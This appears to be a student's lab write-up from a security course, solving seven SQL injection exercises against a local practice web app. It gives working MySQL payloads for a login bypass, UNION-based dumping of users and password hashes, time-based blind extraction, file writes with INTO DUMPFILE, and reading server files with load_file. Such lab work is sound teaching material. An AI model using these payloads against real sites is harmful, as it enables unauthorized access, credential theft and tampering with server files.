Question 1)

To try to enter as Alice I started by going into the `http://localhost:8000/login.php page`, attempting to use some SQL injection in the Username or Password field.

I tried the `' or 1=1 -- //` for the Username like we learned in class, and got this error:

```
Error: You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near
'd41d8cd98f00b204e9800998ecf8427e')' at line 1
```

Once I got this error, I understood what the SQL query looked like with curly braces, and so I decided to insert for the Username `Alice') -- //`.
This way I would input the Username as Alice, and simply comment on everything after. That's when it finally worked and I read *Welcome alice!*

Question 2)

Firstly, I searched online on how to retrieve information about User, Host, and Version with SQL. I found that there are some global functions and system functions to help do that. As following:

- To find the user and host: `SELECT user();`
- To find the version: `SELECT @@version;`

Now I needed to understand how to run these queries using the `http://localhost:8000/searchproducts.php`.

I tried running some random query as `') or 1=1 --`, and got this error `...right syntax to use near ') or 1=1 --%'' at line 1`.
Seeing the % I assumed there was probably a query of type `SELECT .. WHERE product LIKE ....`
All that was left now was input something that would close the first select, union with a new select with the queries I needed, and comment out all the rest.

With some attempts, I also learned that the table needed 5 column entries to show and that numeric results (such as Hostname and Version) could only go in the 5th position (the price).

I then ran the following input queries:

- `' union select null, null, null, user(), @@version -- //`

And got the following results:

- user = weak
- host = 172.18.0.2
- version = 8.0.23

Question 3)

To solve this I used a similar approach as question 2. With the same union method, I firstly looked at all the database tables in the server with:

```
' union select null, table_name, column_name, table_schema, null from
information_schema.columns where table_schema=database() -- //
```

Here I found there was a table called users, with columns username and password. So I ran:

```
' union select null, null, username, password, null from users -- //
```

Here I found a user with: `username = voldemort` and `password = 856936b417f82c06139c74fa73b1abbe` . The password is encrypted with hash, but it's short enough to be easily cracked using brute force.

This finally gave me: `password = horcrux` .

Question 4)

As said above, I previously ran the query:
’ union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() – //

This also showed me there is a secret table called `cyber_tableAAAAAAAAAAAAA`, with columns: `cyberHour`, `cyberId`.

To findl all elements in the table, I firstly checked how many rows there were using this query:

```
' union select null, null, null, null, COUNT(*) from cyber_tableAAAAAAAAAAAAA --
//
```

This returned 0, which means the table is empty.

Question 5)

To solve this question I used an SQL blind injection approach, using the page http://localhost:8000/blindsqli.php?user=alice.
To goal was of course to change the user input in order to retrieve information.

Finding the table name
To find the name of the table I relied on time delays hints. After finding this video on youtube: https://www.youtube.com/watch?v=JaI09TWCAP0, I went with a similar approach.
I created the following link query:

```
 http://localhost:8000/blindsqli.php?user=alice' and if((select
substr(table_name,1,1) from information_schema.columns where table_schema='secure'
limit 0,1)='a', sleep(5), null) -- //
```

This will result in the website waiting 5 seconds before responding if the initial letter of the table name is `a`. If it’s not, the website will return immediately as usual.

I started testing this approach with previously known tables, and it worked as expected. Now I needed to test this link query for every ASCII char, and for every position on the name string. To do it faster, I wrote a python script, which I will attach to my submission.

After runnig the script for a few minutes, I got a final result of:
789b05678e7f955d2cf125b0c05616c9.

The script I wrote has some trouble stopping, so it wasn't clear what the actual length of the name was (it continues adding + to the name indefinitely). It looked like the length was 32, but I wasn't sure. So I ran the query:

```
http://localhost:8000/blindsqli.php?user=alice' AND (SELECT LENGTH(table_name)
FROM information_schema.tables WHERE table_schema='secure' LIMIT 0,1)=32 -- //
```

Which returned the Alice answer correctly. That gave me security the length was actually 32.

Finding the number of columns

To find the number of columns I used a similar approach to the last query. Using this website: https://defendtheweb.net/article/blind-sql-injection I found the possibility to check the number of columns with:

```
http://localhost:8000/blindsqli.php?user=alice' AND (SELECT COUNT(column_name)
FROM INFORMATION_SCHEMA.columns WHERE table_schema='secure' AND
table_name='789b05678e7f955d2cf125b0c05616c9')=1 -- //
```

This query will return the information of Alice only if the right hand side of the AND is also correct. I ran a script checking various values instead of 1, which I will submit. This way I found that the number of columns = 2.

Finding length of each column name

I then checked the length of the name of both columns using a simple query:

```
http://localhost:8000/blindsqli.php?user=alice' AND (SELECT LENGTH(column_name)
FROM information_schema.columns WHERE table_schema='secure' AND
table_name='789b05678e7f955d2cf125b0c05616c9' LIMIT 0,1)=1 -- //
```

Again with a simple script I found the length of first column is 2, and the lenght of second column is 6.

Finding name of columns

For both columns in order to find the name I used the following query:

```
http://localhost:8000/blindsqli.php?user=alice' AND (SELECT column_name FROM
information_schema.columns WHERE table_schema='secure' AND
table_name='789b05678e7f955d2cf125b0c05616c9' LIMIT 0,1) LIKE 'a%' -- //
```

This checks wether the name starts with 'a'. I ran the following query, using a script which I will submit, for each column for each char at each position. I found the names were `id` and `random`.

For each query mentioned above I checked before on the known tables from the product search, to make sure they always worked as expected.

Finding the content of the columns
First, I wanted to check how many rows there were on the table, so I used:

```
http://localhost:8000/blindsqli.php?user=bob' AND (SELECT COUNT(*) FROM
secure.789b05678e7f955d2cf125b0c05616c9)=1 -- //
```

Trying with different numbers I found out there were 3.

To find the content of the column I usesd a different approach. Without writing scripts, I tried to visualize the content on the screen, so I wrote this query:

```
http://localhost:8000/blindsqli.php?user=' union select null, id, random, null,
null from secure.789b05678e7f955d2cf125b0c05616c9 -- //
```

This worked but of course showed only the content of the first row. To see the other rows I needed to filter somehow, so I came up with:

```
http://localhost:8000/blindsqli.php?user=' union select null, id, random, null,
null from secure.789b05678e7f955d2cf125b0c05616c9 WHERE id>1 -- //
```

Changing the value there I was able to read all the rows from the screen.

To summurize:

Table name: 789b05678e7f955d2cf125b0c05616c9

id	random
1	d1eda1e2b7b0f7c386ba4f965edcc28ddd0aa03916dfe595bbe0aa00490e645c
2	VeryRandomIndeed
3	This is the last row. Well done :)

Question 6)

For this question I started by searching online how to write into files using SQL injection. I found many sources, among them:

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
https://splone.com/blog/2017/2/6/file-write-via-sql/

I learned that the query:

```
SELCT "Hello, World" FROM TABLE
```

actually returned the string “Hello, World”.

I also learned that the query:

```
SELECT ... INTO DUMPFILE
```

will output the result into a chosen dumpfile.

With this information and with the previous knowledge I was able to write this query:

```
http://localhost:8000/blindsqli.php?user=' union select "","","","","Hello, World"
from users into dumpfile '/home/hello_world.txt' -- //
```

Here the string “Hello, World” get outputted into the ‘hello_world.txt’ file.

To check my answer I used the sources mentioned above, and composed this query:

```
http://localhost:8000/blindsqli.php?user=' union select
"","","","",load_file("/home/hello_world.txt") from users -- //
```

This gave me the expected result as I saw on the screen the content of the file.

Question 7)

At this point this question was easy, I could use an identical approach as to reading the ‘hello_world.txt’ content. I composed this query:

```
http://localhost:8000/blindsqli.php?user=' union select
"","","","",hex(load_file("/home/flag.txt")) from users -- //
```

Which game the result in hex:

```
DE64DE254B4819BDF1D45BD7BE7F56AF0D7159ACEB5247E3733643CDD7592D54B5703782C54999366
```